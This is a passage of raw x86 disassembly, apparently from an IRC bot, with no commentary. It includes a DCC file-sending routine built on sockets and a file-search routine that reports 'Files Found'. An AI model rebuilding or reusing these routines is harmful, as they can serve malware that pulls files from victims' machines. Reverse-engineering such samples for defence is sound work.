pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx call sub_5EFFD5 nop add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax call near ptr 2850000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx call sub_5EFFD5 nop add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi call near ptr 2840AD7h nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60CD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax call near ptr 71AB2BC0h nop push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A30 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd call near ptr 2840000h nop lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2830B8Dh mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 283074Ch lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2830000h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 call near ptr 2830000h nop loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443B04 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F74 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx call sub_5EFFD5 nop mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, 